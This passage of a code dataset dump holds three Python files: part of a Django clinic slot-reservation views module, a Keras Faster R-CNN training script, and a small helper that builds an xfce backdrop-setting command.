end_time__lt=(now))\n\n\n@basic_required\n@login_required\ndef reserve_slot(request):\n if request.method == \"POST\":\n form = TimeslotReserveForm(request.POST)\n timeslot = TimeSlot.objects.get(pk=request.POST.get(\"timeslot\"))\n timeslot.reserver = request.user\n timeslot.save()\n\n messages.success(request, \"reserved succesfully.\")\n form = TimeslotReserveForm()\n return render(request, \"clinic/reserve.html\", {\"form\": form})\n else:\n form = TimeslotReserveForm()\n return render(request, \"clinic/reserve.html\", {\"form\": form})\n\n\n@basic_required\n@login_required\ndef reserve_slot_clinic(request, pk):\n if request.method == \"POST\":\n form = TimeslotClinicReserveForm(request.POST)\n form.fields[\"timeslot\"].queryset = TimeSlot.objects.filter(\n reserver=None, clinic__is_verified=True, clinic=Clinic.objects.get(pk=pk)\n )\n print(\n TimeSlot.objects.filter(\n reserver=None,\n clinic__is_verified=True,\n clinic=Clinic.objects.get(pk=pk),\n )\n )\n timeslot = TimeSlot.objects.get(pk=request.POST.get(\"timeslot\"))\n timeslot.reserver = request.user\n timeslot.save()\n\n messages.success(request, \"reserved succesfully.\")\n form = TimeslotClinicReserveForm()\n form.fields[\"timeslot\"].queryset = TimeSlot.objects.filter(\n reserver=None, clinic__is_verified=True, clinic=Clinic.objects.get(pk=pk)\n )\n return render(request, \"clinic/reserve.html\", {\"form\": form})\n else:\n form = TimeslotClinicReserveForm()\n form.fields[\"timeslot\"].queryset = TimeSlot.objects.filter(\n reserver=None, clinic__is_verified=True, clinic=Clinic.objects.get(pk=pk)\n )\n return render(request, \"clinic/reserve.html\", {\"form\": form})\n\n","sub_path":"cleanq/clinic/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"187994211","text":"from __future__ import division\nimport random\nimport pprint\nimport sys\nimport time\nimport numpy as np\nfrom optparse import OptionParser\nimport pickle\nimport pandas as pd\nimport os \ndir_path = os.path.dirname(os.path.realpath(__file__))\nfrom keras import backend as K\nfrom keras.optimizers import Adam, SGD, RMSprop\nfrom keras.layers import Input\nfrom keras.models import Model\nfrom keras_frcnn import config, data_generators\nfrom keras_frcnn import losses as losses\nimport keras_frcnn.roi_helpers as roi_helpers\nfrom keras.utils import generic_utils\nfrom keras_frcnn.get_validation_loss import get_validation_loss, get_validation_lossv2\nimport tensorflow as tf\nfrom functions import createSummaryTensorboard, TensorboardWrite, PrintException\nseed = 10\nrandom.seed(seed)\nnp.random.seed(seed)\n\nprint('current path : ', dir_path)\n\n\n\n#####################################\n######### PARSER ####################\n#####################################\n \nsys.setrecursionlimit(40000)\n\nparser = OptionParser()\n\nparser.add_option(\"-p\", \"--path\", dest=\"path\", help=\"Path to training data (txt file).\")\nparser.add_option(\"--pi\", \"--path_image\", dest=\"path_image\", help=\"Path to training image.\", default='../')\nparser.add_option(\"-o\", \"--parser\", dest=\"parser\", help=\"Parser to use. One of simple or pascal_voc\",\n default=\"simple\")\n\nparser.add_option(\"--sf\", \"--size_fixed\", dest=\"size_fixed\", help=\"indicate if the fixed size\", action=\"store_true\", default=False)\nparser.add_option(\"-s\", \"--size\", dest=\"size\", help=\"indicate if the fixed size\", default=600)\nparser.add_option(\"-n\", \"--num_rois\", dest=\"num_rois\", help=\"Number of RoIs to process at once.\", default=32)\nparser.add_option(\"--network\", dest=\"network\", help=\"Base network to use. Supports vgg, vgg_lite, or resnet50.\", default='resnet50')\nparser.add_option(\"--hf\", dest=\"horizontal_flips\", help=\"Augment with horizontal flips in training. (Default=false).\", action=\"store_true\", default=False)\nparser.add_option(\"--vf\", dest=\"vertical_flips\", help=\"Augment with vertical flips in training. (Default=false).\", action=\"store_true\", default=False)\nparser.add_option(\"--rot\", \"--rot_90\", dest=\"rot_90\", help=\"Augment with 90 degree rotations in training. (Default=false).\",\n action=\"store_true\", default=False)\nparser.add_option(\"--num_epochs\", dest=\"num_epochs\", help=\"Number of epochs.\", default=2000)\nparser.add_option(\"--config_filename\", dest=\"config_filename\", help=\n \"Location to store all the metadata related to the training (to be used when testing).\",\n default=\"config.pickle\")\nparser.add_option(\"--output_weight_path\", dest=\"output_weight_path\", help=\"Output path for weights.\", default='./model_frcnn.hdf5')\nparser.add_option(\"--input_weight_path\", dest=\"input_weight_path\", help=\"Input path for weights. If not specified, will try to load default weights provided by keras.\")\nparser.add_option(\"--use_validation\", dest=\"use_validation\", help=\"Determines if we evaluate against the validation set loss.\", action=\"store_true\", default=False)\nparser.add_option(\"--tensorboard_images\", dest=\"tensorboard_images\", help=\"Print boxes of n first images in tensorboard during validation.\", default=0)\nparser.add_option(\"--tensorboard_path\", dest=\"tensorboard_path\", help=\"Path to save tensorboard logs.\", default='tmp/')\nparser.add_option(\"--logs_path\", dest=\"logs_path\", help=\"Where logs for the losses should be saved.\", default='./logs.csv')\nparser.add_option(\"--remove_mean\", dest=\"remove_mean\", help=\"remove mean value in RGB image (default=False)\", action=\"store_true\", default=False)\nparser.add_option(\"--channels\", dest=\"channels\", help=\"Number of channels in the image (RGB = 3)\", default=3)\nparser.add_option(\"-b\", \"--bbox_threshold\", dest=\"bbox_threshold\", help=\"bbox_threshold\", default=0.8)\nparser.add_option(\"-r\", \"--overlap_threshold_rpn\", dest=\"overlap_threshold_rpn\", help=\"overlap_threshold_rpn\", default=0.7)\nparser.add_option(\"-c\", \"--overlap_threshold_classifier\", dest=\"overlap_threshold_classifier\", help=\"overlap_thresh_classifier\", default=0.5)\nparser.add_option(\"--optimizer\", dest=\"optimizer\", help='choose optimizer : SGD, RMSprop, Adam', default='adam')\nparser.add_option(\"--lr\", dest=\"lr\", help=\"choose learning rate, default : 0.0001\", default=0.0001)\nparser.add_option(\"--momentum\", dest=\"momentum\", help=\"choose momentum value, default = 0.9\", default=0.9)\nparser.add_option(\"--wd\", dest=\"wd\", help=\"choose weight decay value, default = 0.0005\", default=0.0005)\n(options, args) = parser.parse_args()\n\nif not options.path: # if filename is not given\n parser.error('Error: path to training data must be specified. Pass --path to command line')\n\nif options.parser == 'pascal_voc':\n from keras_frcnn.pascal_voc_parser import get_data\nelif options.parser == 'simple':\n from keras_frcnn.simple_parser import get_data\nelif options.parser == 'simple_multichan':\n from keras_frcnn.simple_parser_multichan import get_data\nelse:\n raise ValueError(\"Command line option parser must be one of 'pascal_voc' or 'simple'\")\n\n# pass the settings from the command line, and persist them in the config object\nC = config.Config()\n\nC.use_horizontal_flips = bool(options.horizontal_flips)\nC.use_vertical_flips = bool(options.vertical_flips)\nC.rot_90 = bool(options.rot_90)\n\nC.channels = int(options.channels)\nC.model_path = options.output_weight_path\nC.num_rois = int(options.num_rois)\nC.remove_mean = bool(options.remove_mean)\nC.use_validation = bool(options.use_validation)\nC.logs_path = options.logs_path\nC.tensorboard_images = int(options.tensorboard_images)\nC.tensorboard_path = options.tensorboard_path\nC.threshold = [float(options.bbox_threshold), float(options.overlap_threshold_rpn), float(options.overlap_threshold_classifier)]\nif options.size is not None:\n C.im_size = int(options.size)\n \nif options.size_fixed == False:\n C.fixed_size = False\n print('Input size min image : ', C.im_size)\nelse:\n\tC.fixed_size = True\n\tprint('Input size image fixed : ', C.im_size, 'x', C.im_size)\nprint('Compute Loss Validation : ', C.use_validation)\nprint('Remove mean from image : ', C.remove_mean)\nprint('number of images in tensorboard :', C.tensorboard_images)\nprint('flips horizontal, vertical and rotation : ', C.use_horizontal_flips, C.use_vertical_flips, C.rot_90)\n#######################\n### Tensorboard #######\n#######################\nif C.use_validation == True:\n writer_test = tf.summary.FileWriter(C.tensorboard_path+'test')\n\nwriter_train = tf.summary.FileWriter(C.tensorboard_path+'train')\n########################\n#### Choose model ######\n########################\nnum_features = 512\nif options.network == 'vgg':\n C.network = 'vgg'\n from keras_frcnn import vgg as nn\nelif options.network == 'vgg_lite':\n C.network = 'vgg_lite'\n from keras_frcnn import vgg_lite as nn\nelif options.network == 'resnet50':\n from keras_frcnn import resnet as nn\n C.network = 'resnet50'\n num_features = 1024\nelif options.network == 'mobilenet':\n from keras_frcnn import mobilenet as nn\n C.network = 'mobilenet'\n\nelif options.network == 'squeezenet':\n from keras_frcnn import squeezenet as nn\n C.network = 'squeezenet'\n num_features = 384\nelse:\n print('Not a valid model')\n raise ValueError\n\n\n# check if weight path was passed via command line\nif options.input_weight_path:\n C.base_net_weights = options.input_weight_path\nelse:\n # set the path to weights based on backend and model\n C.base_net_weights = nn.get_weight_path()\n\n\n##########################\n### Load data and labels #\n##########################\nif options.parser == 'simple_multichan': \n all_imgs, classes_count, class_mapping, classes_count_train, classes_count_test = get_data(options.path, path=options.path_image, channels=C.channels)\nelse:\n all_imgs, classes_count, class_mapping, classes_count_train, classes_count_test = get_data(options.path, path=options.path_image)\n\nprint('##### Count train and test data ####', classes_count_train, classes_count_test)\n \nif 'bg' not in classes_count:\n classes_count['bg'] = 0\n class_mapping['bg'] = len(class_mapping)\n\nC.class_mapping = class_mapping\n\nprint('Training and testing images per class:')\npprint.pprint(classes_count)\nprint('Num classes (including bg) = {}'.format(len(classes_count)))\n\nC.rpn_stride = C.im_size//nn.get_img_output_length(C.im_size, C.im_size)[0]\nprint('RPN stride : ', C.rpn_stride)\nconfig_output_filename = options.config_filename\n\n#############################\n### Save config file ########\n#############################\n\nwith open(config_output_filename, 'wb') as config_f:\n pickle.dump(C,config_f)\n print('Config has been written to {}, and can be loaded when testing to ensure correct results'.format(config_output_filename))\n\nrandom.shuffle(all_imgs)\n\nnum_imgs = len(all_imgs)\n\ntrain_imgs = [s for s in all_imgs if s['imageset'] == 'training']\nval_imgs = [s for s in all_imgs if s['imageset'] == 'testing']\n\nprint('Num train samples {}'.format(len(train_imgs)))\nprint('Num test samples {}'.format(len(val_imgs)))\n\n\ndata_gen_train = data_generators.get_anchor_gt(train_imgs, classes_count, C, nn.get_img_output_length, K.image_dim_ordering(), mode='train')\ndata_gen_val = data_generators.get_anchor_gt(val_imgs, classes_count, C, nn.get_img_output_length,K.image_dim_ordering(), mode='val')\n\n\n########################\n#### Load model ########\n########################\nif K.image_dim_ordering() == 'th':\n input_shape_img = (C.channels, None, None)\n input_shape_features = (num_features, None, None)\nelse:# tensorflow backend\n input_shape_img = (None, None, C.channels)\n input_shape_features = (None, None, num_features)\n\nimg_input = Input(shape=input_shape_img)\nroi_input = Input(shape=(None, 4))\nfeature_map_input = Input(shape=input_shape_features)# used for prediction validation\n\n# define the base network (resnet here, can be VGG, Inception, etc)\nshared_layers = nn.nn_base(img_input, trainable=True, channels=C.channels)\n\n# define the RPN, built on the base layers\nnum_anchors = len(C.anchor_box_scales) * len(C.anchor_box_ratios)\nrpn = nn.rpn(shared_layers, num_anchors)\n\nclassifier = nn.classifier(shared_layers, roi_input, C.num_rois, nb_classes=len(classes_count), trainable=True)\nclassifier_only = nn.classifier(feature_map_input, roi_input, C.num_rois, nb_classes=len(classes_count), trainable=True)\n\nmodel_rpn = Model(img_input, rpn)\n\nmodel_classifier_only = Model([feature_map_input, roi_input], classifier_only)\nmodel_classifier = Model([img_input, roi_input], classifier)\n\n# this is a model that holds both the RPN and the classifier, used to load/save weights for the models\nmodel_all = Model([img_input, roi_input], rpn[:2] + classifier)\n\n\ntry:\n print('loading weights from {}'.format(C.base_net_weights))\n model_rpn.load_weights(C.base_net_weights, by_name=True, skip_mismatch = True)\n model_classifier.load_weights(C.base_net_weights, by_name=True, skip_mismatch = True)\n model_classifier_only.load_weights(C.base_net_weights, by_name=True, skip_mismatch = True)\nexcept:\n print('Could not load pretrained model weights. Weights can be found in the keras application folder \\\n https://github.com/fchollet/keras/tree/master/keras/applications')\n\nlr = float(options.lr)\nwd = float(options.wd)\nmomentum = float(options.momentum)\nif options.optimizer.lower() =='adam':\n optimizer = Adam(lr=lr, decay=wd)\n optimizer_classifier = Adam(lr=lr, decay=wd)\nelif options.optimizer.lower() =='rmsprop':\n optimizer = RMSprop(lr=lr, decay=wd)\n optimizer_classifier = RMSprop(lr=lr, decay=wd)\nelif options.optimizer.lower() =='sgd':\n optimizer = SGD(lr=lr, decay=wd, momentum=momentum, nesterov=True)\n optimizer_classifier = SGD(lr=lr, decay=wd, momentum=momentum, nesterov=True)\nelse:\n print('wrong optimizer !')\n exit()\nmodel_rpn.compile(optimizer=optimizer, loss=[losses.rpn_loss_cls(num_anchors), losses.rpn_loss_regr(num_anchors), None])\nmodel_classifier_only.compile(optimizer='sgd', loss='mse')\nmodel_classifier.compile(optimizer=optimizer_classifier, loss=[losses.class_loss_cls, losses.class_loss_regr(len(classes_count)-1)], metrics={'dense_class_{}'.format(len(classes_count)): 'accuracy'})\nmodel_all.compile(optimizer='sgd', loss='mae')\n\nmodel_all.summary()\n\n################\n## Parameters ##\n################\nepoch_length = len(train_imgs)\nnum_epochs = int(options.num_epochs)\niter_num = 0\n\nlosses = np.zeros((epoch_length, 5))\nrpn_accuracy_rpn_monitor = []\nrpn_accuracy_for_epoch = []\nstart_time = time.time()\nloss_log = list()\n\nbest_loss = np.Inf\n\nif C.use_validation:\n val_best_loss = np.Inf\n\n\nclass_mapping_inv = {v: k for k, v in class_mapping.items()}\nclass_to_color = {class_mapping_inv[v]: np.random.randint(0, 255, 3) for v in class_mapping_inv}\n##############\n## Training ##\n##############\nprint('Starting training')\n\n\nfor epoch_num in range(0,num_epochs):\n\n progbar = generic_utils.Progbar(epoch_length)\n print('Epoch {}/{}'.format(epoch_num+1 , num_epochs))\n \n while True:\n\t\t# continue until we reach the number of iteration necessary for one epoch.\n try:\n\n if len(rpn_accuracy_rpn_monitor) == epoch_length and C.verbose:\n mean_overlapping_bboxes = float(sum(rpn_accuracy_rpn_monitor))/len(rpn_accuracy_rpn_monitor)\n rpn_accuracy_rpn_monitor = []\n print('Average number of overlapping bounding boxes from RPN = {} for {} previous iterations'.format(mean_overlapping_bboxes, epoch_length))\n if mean_overlapping_bboxes == 0:\n print('RPN is not producing bounding boxes that overlap the ground truth boxes. Check RPN settings or keep training.')\n\n # data_gen_train yields a list [x_img, [y_rpn_cls, y_rpn_reg], img_dict]\t\n # X: [1,H,W,3], raw input image\n # Y: [y_rpn_cls, y_rpn_reg]\n # y_rpn_cls: [1,H',W',2*num_anchors], anchor validality (0/1) + anchor class(0/1). H',W' is feature map shape\n # y_rpn_regr: [1,H',W',8*num_anchors], anchor class (4 duplicate) + regression (x1,y1,w,h)\n # img_data: a dict obj storing bbox and image width, height\n \n # Y is now anchors, X Y are 4D tensors\n X, Y, img_data = next(data_gen_train)\n\n loss_rpn = model_rpn.train_on_batch(X, Y)\n #loss_rpn = loss_rpn[0:2]\n \n # The ouput of model_rpn is [x_class,x_regr]\n # P_rpn[0] = x_class: (1, H',W', num_anchor) the softmax probability for objectness classification\n # P_rpn[1] = x_regr: (1, H', W',4*num_anchor) the bbox regression result [x1,y1,w,h]\n\n P_rpn = model_rpn.predict_on_batch(X)\n \n # R : (n,4) Each row stores (x1,y1,x2,y2), n is the number of boxes returned after non maximum suppression\n R = roi_helpers.rpn_to_roi(P_rpn[0], P_rpn[1], C, K.image_dim_ordering(), use_regr=True, overlap_thresh=C.threshold[1], max_boxes=300)\n \n # note: calc_iou converts from (x1,y1,x2,y2) to (x,y,w,h) format\n\n # X2: (1, N', 4), cast (x1,y1,x2,y2) in result to (x1,y1,w,h), where N' is the number of bobx returned from non\n # maximum suppression. \n # Y1: (1 , N' , K), each row is a binary class vector (only 0/1). K excludes background\n # Y2: (1 , N' , 8(K-1)), each row stores [4 labels, 4 regression values (tx,ty,tw,th)]\n # The labels are (1 1 1 1) for not background class and (0 0 0 0) for background class\n # The regression values are (tx,ty,tw,th)\n # IoUs: 2D matrix (N',1) best iou value (classifier_min_overlap,1) for each bbox in R \n \n X2, Y1, Y2, IouS = roi_helpers.calc_iou(R, img_data, C, class_mapping)\n\n if X2 is None:\n rpn_accuracy_rpn_monitor.append(0)\n rpn_accuracy_for_epoch.append(0)\n continue\n\n # The last axis is class label and the last one represent background\n # neg_samples are these classified as background\n # pos_samples are these classified as non-background\n \n neg_samples = np.where(Y1[0, :, -1] == 1)\n pos_samples = np.where(Y1[0, :, -1] == 0)\n\n # cast (1, N, K) to (N, K)\n if len(neg_samples) > 0:\n neg_samples = neg_samples[0]\n else:\n neg_samples = []\n \n # cast (1, N, K) to (N, K)\n if len(pos_samples) > 0:\n pos_samples = pos_samples[0]\n else:\n pos_samples = []\n \n rpn_accuracy_rpn_monitor.append(len(pos_samples))\n rpn_accuracy_for_epoch.append((len(pos_samples)))\n\n # Important: Keep balance between the number of positive and negative samples\n # sel_samples is randomly generated indices\n \n if C.num_rois > 1:\n \n if len(pos_samples) < C.num_rois//2:\n if len(neg_samples) > 0:\n selected_pos_samples = pos_samples.tolist()\n else:\n selected_pos_samples = np.random.choice(pos_samples, C.num_rois, replace=True).tolist()\n else:\n if len(neg_samples) > 0:\n selected_pos_samples = np.random.choice(pos_samples, C.num_rois//2, replace=False).tolist()\n else:\n selected_pos_samples = np.random.choice(pos_samples, C.num_rois, replace=True).tolist()\n \n \n if len(neg_samples) > 0:\n try:\n selected_neg_samples = np.random.choice(neg_samples, C.num_rois - len(selected_pos_samples), replace=False).tolist()\n except:\n selected_neg_samples = np.random.choice(neg_samples, C.num_rois - len(selected_pos_samples), replace=True).tolist()\n\n sel_samples = selected_pos_samples + selected_neg_samples\n \n else:\n \n sel_samples = selected_pos_samples\n else:\n # in the extreme case where num_rois = 1, we pick a random pos or neg sample\n selected_pos_samples = pos_samples.tolist()\n selected_neg_samples = neg_samples.tolist()\n if np.random.randint(0, 2):\n sel_samples = random.choice(neg_samples)\n else:\n sel_samples = random.choice(pos_samples)\n\n # Train the output of rpn using the roi classifier \n # X is raw image: image input to the ROI classifier\n # X2: (1, N, 4) is the (x1,y1,w,h): input to the ROI classifier\n # Y1: (1 , N' , K), true class including background\n # Y2: (1 , N' , 8(K-1)), true regression [4 labels, 4 regression values (tx,ty,tw,th)], \n # In the model_classifier\n # The pred_cls shape is (1, N',K). \n # The pred_reg shape is (1, N', 4*(K-1)) which exclude background classes\n \n \n loss_class = model_classifier.train_on_batch([X, X2[:, sel_samples, :]], [Y1[:, sel_samples, :], Y2[:, sel_samples, :]])\n\n losses[iter_num, 0] = loss_rpn[1]\n losses[iter_num, 1] = loss_rpn[2]\n\n losses[iter_num, 2] = loss_class[1]\n losses[iter_num, 3] = loss_class[2]\n losses[iter_num, 4] = loss_class[3]\n\n iter_num += 1\n\n progbar.update(iter_num, [('rpn_cls', np.mean(losses[:iter_num, 0])), ('rpn_regr', np.mean(losses[:iter_num, 1])),\n ('detector_cls', np.mean(losses[:iter_num, 2])), ('detector_regr', np.mean(losses[:iter_num, 3]))])\n\n if iter_num == epoch_length:\n loss_rpn_cls = np.mean(losses[:, 0])\n loss_rpn_regr = np.mean(losses[:, 1])\n loss_class_cls = np.mean(losses[:, 2])\n loss_class_regr = np.mean(losses[:, 3])\n class_acc = np.mean(losses[:, 4])\n curr_loss = loss_rpn_cls + loss_rpn_regr + loss_class_cls + loss_class_regr\n \n mean_overlapping_bboxes = float(sum(rpn_accuracy_for_epoch)) / len(rpn_accuracy_for_epoch)\n rpn_accuracy_for_epoch = []\n \n if C.use_validation:\n val_losses = get_validation_lossv2(data_gen_val, len(val_imgs),\n model_rpn, model_classifier, model_classifier_only, C, class_mapping_inv, class_to_color, writer_tensorboard = writer_test, num_epoch=epoch_num)\n\n if C.verbose:\n print('Mean number of bounding boxes from RPN overlapping ground truth boxes: {}'.format(mean_overlapping_bboxes))\n print('Classifier accuracy for bounding boxes from RPN: {}'.format(class_acc))\n print('Loss RPN classifier: {}'.format(loss_rpn_cls))\n print('Loss RPN regression: {}'.format(loss_rpn_regr))\n print('Loss Detector classifier: {}'.format(loss_class_cls))\n print('Loss Detector regression: {}'.format(loss_class_regr))\n print('Total losss :{}'.format(curr_loss))\n \n train_summary = createSummaryTensorboard(mean_overlapping_bboxes, class_acc, loss_rpn_cls, loss_rpn_regr, loss_class_cls, loss_class_regr, curr_loss)\n TensorboardWrite(writer_train, train_summary, step=epoch_num+1)\n\n if C.use_validation:\n print(('Validation mean number of bounding boxes from RPN overlapping ground truth boxes:' + \n '{}'.format(val_losses['mean_overlapping_bboxes'])))\n print('Validation classifier accuracy for bounding boxes from RPN: {}'.format(val_losses['class_acc']))\n print('Validation loss RPN classifier: {}'.format(val_losses['loss_rpn_cls']))\n print('Validation loss RPN regression: {}'.format(val_losses['loss_rpn_regr']))\n print('Validation loss Detector classifier: {}'.format(val_losses['loss_class_cls']))\n print('Validation loss Detector regression: {}'.format(val_losses['loss_class_regr']))\n print('Validation total loss :{}'.format(val_losses['curr_loss'])) \n \n test_summary = createSummaryTensorboard(val_losses['mean_overlapping_bboxes'], val_losses['class_acc'], val_losses['loss_rpn_cls'], val_losses['loss_rpn_regr'],\n val_losses['loss_class_cls'], val_losses['loss_class_regr'], val_losses['curr_loss'])\n TensorboardWrite(writer_test, test_summary, step=epoch_num+1) \n print('Elapsed time: {}'.format(time.time() - start_time))\n iter_num = 0\n start_time = time.time()\n \n if not C.use_validation:\n loss_log.append({'epoch': epoch_num + 1, 'mean_overlapping_bboxes, ': mean_overlapping_bboxes, 'class_acc': class_acc, \n 'loss_rpn_cls': loss_rpn_cls, 'loss_rpn_regr': loss_rpn_regr, 'loss_class_cls': loss_class_cls, \n 'loss_class_regr': loss_class_regr, 'curr_loss': curr_loss})\n if C.use_validation:\n loss_log.append({'epoch': epoch_num + 1, 'mean_overlapping_bboxes, ': mean_overlapping_bboxes, 'class_acc': class_acc, \n 'loss_rpn_cls': loss_rpn_cls, 'loss_rpn_regr': loss_rpn_regr, 'loss_class_cls': loss_class_cls, \n 'loss_class_regr': loss_class_regr, 'curr_loss': curr_loss, \n 'val_mean_overlapping_bboxes, ': val_losses['mean_overlapping_bboxes'], \n 'val_class_acc': val_losses['class_acc'], 'val_loss_rpn_cls': val_losses['loss_rpn_cls'], \n 'val_loss_rpn_regr': val_losses['loss_rpn_regr'], 'val_loss_class_cls': val_losses['loss_class_cls'], \n 'val_loss_class_regr': val_losses['loss_class_regr'], 'val_curr_loss': val_losses['curr_loss']})\n\n if curr_loss < best_loss:\n if C.verbose:\n if not C.use_validation:\n print('Total loss decreased from {} to {}, saving weights'.format(best_loss,curr_loss))\n model_all.save_weights(C.model_path)\n else:\n print('Total loss decreased from {} to {}'.format(best_loss,curr_loss))\n best_loss = curr_loss\n\n if C.use_validation:\n if val_losses['curr_loss'] < val_best_loss:\n if C.verbose:\n print(('Validation total loss decreased from {} to {}'.format(val_best_loss,val_losses['curr_loss']) +\n ', saving weights'))\n val_best_loss = val_losses['curr_loss']\n model_all.save_weights(C.model_path)\n else:\n if C.verbose:\n print('Validation total loss did not decrease.')\n \n print('Saving logs')\n pd.DataFrame(loss_log).to_csv(C.logs_path)\n break\n \n\n except Exception as e:\n print('Exception train: {}'.format(e))\n PrintException()\n continue\n\nprint('Saving logs')\npd.DataFrame(loss_log).to_csv(C.logs_path)\nprint('Training complete, exiting.')\n","sub_path":"train_frcnn_v2.py","file_name":"train_frcnn_v2.py","file_ext":"py","file_size_in_byte":26028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"635403061","text":"from subprocess import run, Popen\nimport os\n\n# Very quick and dirty skript to figure out the command to set the backdrop\n# for a specific monitor in xfce\n\n\ndef xfce_set_backdrop_cmd(monitor_index: int = 0) -> str:\n xrandr_output = run(\n (\"xrandr\", \"--listactivemonitors\"),\n capture_output=True,\n ).stdout.splitlines()\n monitor_names = [s.split(b\" \")[-1] for s in xrandr_output[1:]]\n monitor_name = monitor_names[monitor_index]\n\n desktop_settings = run(\n (\"xfconf-query\", \"-l\", \"-c\", \"xfce4-desktop\"),\n capture_output=True,\n ).stdout.splitlines()\n monitor_settings = [s for s in desktop_settings if monitor_name in s]\n backdrop_setting = [\n s for s in monitor_settings if s.endswith(b\"workspace0/last-image\")\n ][0].decode()\n\n cmd = f\"DISPLAY=:0 xfconf-query -c xfce4-desktop -p \\\"{backdrop_setting}\\\" \" \\\n \"-s \\\"{0}\\\"\"\n\n return cmd\n","sub_path":"wonderful_bing/xfce.py","file_name":"xfce.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"}